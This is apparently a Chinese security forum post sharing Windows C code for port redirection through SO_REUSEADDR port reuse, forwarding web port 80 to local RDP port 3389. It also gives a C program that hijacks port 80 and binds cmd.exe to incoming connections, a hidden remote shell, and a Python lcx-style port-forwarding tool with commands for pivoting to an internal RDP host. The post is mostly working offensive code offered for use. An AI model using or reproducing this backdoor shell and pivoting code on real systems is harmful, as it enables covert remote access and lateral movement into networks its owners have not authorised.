有朋友在问关于端口重定向的问题,所以为了更直观的表达,我把实现代码放出来,大家参考一下

Windows下,在应用层启动的只要没有设置SO_EXCLUSIVEADDRUSE,不管是谁先启动,监听哪个地址,都是可以复用的,你可以用192.168.1.1(本机IP),127.0.0.1,127.0.0.2,127.x.x.x,IPv6等,都是可以的

以下代码仅限于Windows下

端口重定向:

#include "winsock.h"
#include "windows.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib,"wsock32.lib")

DWORD WINAPI ClientThread(LPVOID lpParam);

int main()
{
    DWORD ret;
    BOOL val;
    SOCKADDR_IN saddr;
    SOCKADDR_IN scaddr;
    SOCKET server_sock;
    SOCKET server_conn;
    int caddsize;
    HANDLE mt = "";
    DWORD tid;
    WSADATA WSAData;
    val = TRUE;

    if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0)
    {
        printf("[!] socket初始化失败!/n");
        return(-1);
    }
    //绑定操作
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = inet_addr("0.0.0.0");//可自行更改IP,gethostbyname()
    saddr.sin_port = htons(80);
    if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
    {
        printf("error!socket failed!//n");
        return (-1);
    }
    //复用操作
    if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
    {
        printf("[!] error!setsockopt failed!//n");
        return -1;
    }
    if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
    {
        ret = GetLastError();
        printf("[!] error!bind failed!//n");
        return -1;
    }
    listen(server_sock, 2);

    while (1)
    {
        caddsize = sizeof(scaddr);
        server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize);
        if (server_conn != INVALID_SOCKET)
        {
            mt = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid);
            if (mt == NULL)
            {
                printf("[!] Thread Creat Failed!//n");
                break;
            }
        }
        CloseHandle(mt);
    }
    closesocket(server_sock);
    WSACleanup();
    return 0;
}


//创建线程
DWORD WINAPI ClientThread(LPVOID lpParam)
{
    SOCKET ss = (SOCKET)lpParam;
    SOCKET conn_sock;
    char buf[4096];
    SOCKADDR_IN saddr;
    long num;
    DWORD val;
    DWORD ret;

    //连接本地目标
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
    saddr.sin_port = htons(3389);
    if ((conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
    {
        printf("[!] error!socket failed!//n");
        return -1;
    }
    val = 100;
    if (setsockopt(conn_sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0)
    {
        ret = GetLastError();
        return -1;
    }
    if (setsockopt(ss, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0)
    {
        ret = GetLastError();
        return -1;
    }
    if (connect(conn_sock, (SOCKADDR *)&saddr, sizeof(saddr)) != 0)
    {
        printf("error!socket connect failed!//n");
        closesocket(conn_sock);
        closesocket(ss);
        return -1;
    }
    while (1)
    {
        num = recv(ss, buf, 4096, 0);
        if (num > 0){
            send(conn_sock, buf, num, 0);
        }
        else if (num == 0)
        {
            break;
        }
        num = recv(conn_sock, buf, 4096, 0);
        if (num > 0)
        {
            send(ss, buf, num, 0);
        }
        else if (num == 0)
        {
            break;
        }
    }
    closesocket(ss);
    closesocket(conn_sock);
    return 0;
}

端口复用,调用cmd:

#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"advapi32.lib")
#include <iostream>
#include <WINSOCK2.H>

int main()
{
    WSAData wsaData;
    SOCKET listenSock;
    // 1st:  initial wsadata and socket
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // 设置复用
    BOOL val = TRUE;
    setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));

    // 绑定
    sockaddr_in sockaaddr;
    sockaaddr.sin_addr.s_addr = inet_addr("192.168.1.8"); ////可自行更改IP,gethostbyname()
    sockaaddr.sin_family = AF_INET;
    sockaaddr.sin_port = htons(80);

    int ret;
    ret = bind(listenSock, (struct sockaddr*)&sockaaddr, sizeof(sockaddr));
    ret = listen(listenSock, 2);

    // 监听
    int len = sizeof(sockaaddr);
    SOCKET recvSock;
    printf("Start Listen......");
    recvSock = accept(listenSock, (struct sockaddr*)&sockaaddr, &len);

    //创建CMD进程
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdError = si.hStdInput = si.hStdOutput = (void*)recvSock;

    char cmdLine[] = "cmd";
    PROCESS_INFORMATION pi;
    ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &pi);
    return 0;
}

如果没有限制,端口转发也是可以的,不过比较麻烦,lcx.exe不能转发,用这个可以

lts.py -listen 80 2222
lts.py -slave 10.10.10.10:80 10.10.10.10:3389

转发代码:

下载地址:https://github.com/hucmosin/Python_Small_Tool/blob/master/transmitport/lcx.py

#!/usr/bin/env python
# coding=utf-8

'''
====================================================================================
************************************************************************************
*
* lts.py - Port Forwarding.
*
* Copyright (C) 2017 .
*
* author:loveshell
* @date: 2012-7
*
* modify:mosin
* @date:2017-4
* @Blog:http://imosin.com
* python2.7 bulid
* Usage : D:\>lts.py
* ============================= Transmit Tool V1.0 ===============================
* =========== Code by Mosin & loveshell, Welcome to http://www.imosin.com ========
* ================================================================================
* :
* : [Usage of Port Forwarding:]
* :
* : [option:]
* : -listen
* : -tran
* : -slave
*
************************************************************************************
====================================================================================
'''

import socket
import sys
import threading
import time
import select

streams = [None, None]
LISTEN = "-listen"
SLAVE  = "-slave"
TRAN   = "-tran"

def usage():
    usage = '''
============================= Transmit Tool V1.0 ===============================
=========== Code by Mosin & loveshell, Welcome to http://www.imosin.com ========
================================================================================

[Usage of Packet Transmit:]
    lts.py -<listen|tran|slave> <option>
    lts.py -listen 4444 2222
    lts.py -tran 80 10.10.10.10:80
    lts.py -slave 10.10.10.10:4444 10.10.10.10:3389

[option:]

  -listen <ConnectPort> <TransmitPort>
  -slave  <ConnectHost>:<ConnectPort> <TransmitHost>:<TransmitPort>
  -tran   <TransmitPort> <ConnectHost>:<ConnectPort>

'''
    print usage
def create_socket():
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except:
        print ('[-] Create socket error.')
        return 0
    return sock
def switch_stream_flag(flag):
    if flag == 0:
        flag = "Server"
        return flag
    elif flag == 1:
        flag = "Client"
        return flag
    else:
        print "[!] Sock Error"
def get_stream(flag):
    if flag == 0:
        flag = 1
    elif flag == 1:
        flag = 0
    else:
        raise "[!] Socket ERROR!"
    while True:
        if streams[flag] == 'Exit':
            print("[-] Can't connect to the target, Exit!")
            sys.exit(1)
        if streams[flag] != None:
            return streams[flag]
        else:
            time.sleep(1)
def ex_stream(host, port, flag, server1, server2):
    flag_status = switch_stream_flag(flag)
    try:
        while True:
            buff = server1.recv(2048)
            if len(buff) == 0:
                print "[-] Data Send False. "
                break
            print  ('[*] %s Data Length %i Recv From => %s:%s' % (flag_status,len(buff),host,port))
            server2.sendall(buff)
            print  ('[*] %s:%i Send Data  => %s ' % (host,port,flag_status))
    except :
        print ('[-] Have One Connect Closed => %s' %(flag_status))
    try:
        server1.shutdown(socket.SHUT_RDWR)
        server1.close()
    except:
        print ('[!] %s => %s is down error.' % (host,port))
    try:
        server2.shutdown(socket.SHUT_RDWR)
        server2.close()
    except:
        print ('[!] %s => is down error.' % (flag_status))
    streams[0] = None
    streams[1] = None
    print ('[-] %s Closed.' %(flag_status))
def server(port, flag):
    host = '192.168.0.104' #端口复用修改
    server = create_socket()
    try:
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind((host, port))
        server.listen(10)
    except:
        print ('[-] Bind False.')
    while True:
        conn, addr = server.accept()
        print ('[+] Connected from: %s:%s' % (addr,port))
        streams[flag] = conn
        server_sock2 = get_stream(flag) 
        ex_stream(host, port, flag, conn, server_sock2)
def connect(host, port, flag):
    connet_timeout = 0
    wait_time = 30
    timeout = 5
    while True:
        if connet_timeout > timeout:
            streams[flag] = 'Exit'
            print ('[-] Not connected %s:%i!' % (host,port))
            return None
        conn_sock = create_socket()
        try:
            conn_sock.connect((host, port))
        except Exception, e:
            print ('[-] Can not connect %s:%i!' % (host, port))
            connet_timeout += 1
            time.sleep(wait_time)
            continue
        print "[+] Connected to %s:%i" % (host, port)
        streams[flag] = conn_sock
        conn_sock2 = get_stream(flag) 
        ex_stream(host, port, flag, conn_sock, conn_sock2)
if __name__ == '__main__':
    if len(sys.argv) != 4:
        usage()
        sys.exit(1)
    t_list = []
    t_argv = [sys.argv[2], sys.argv[3]]
    for i in [0, 1]:
        s = t_argv[i] 
        if sys.argv[1] == LISTEN: 
            t = threading.Thread(target=server, args=(int(s), i))
            t_list.append(t)
        elif sys.argv[1] == SLAVE:  
            sl = s.split(':')
            t = threading.Thread(target=connect, args=(sl[0], int(sl[1]), i))
            t_list.append(t)
        elif sys.argv[1] == TRAN:
            try:
                if i == 0:
                    t = threading.Thread(target=server, args=(int(s), i))
                    t_list.append(t)
                elif i == 1:
                    sl = s.split(':')
                    t = threading.Thread(target=connect, args=(sl[0], int(sl[1]), i))
                    t_list.append(t)
                else:
                    usage()
            except:
                usage()
                sys.exit(0)
        else:
            usage()
            sys.exit(1)
    for t in t_list:
        t.start()
    for t in t_list:
        t.join()
    sys.exit(0)

点击收藏 | 0 关注 | 0
登录 后跟帖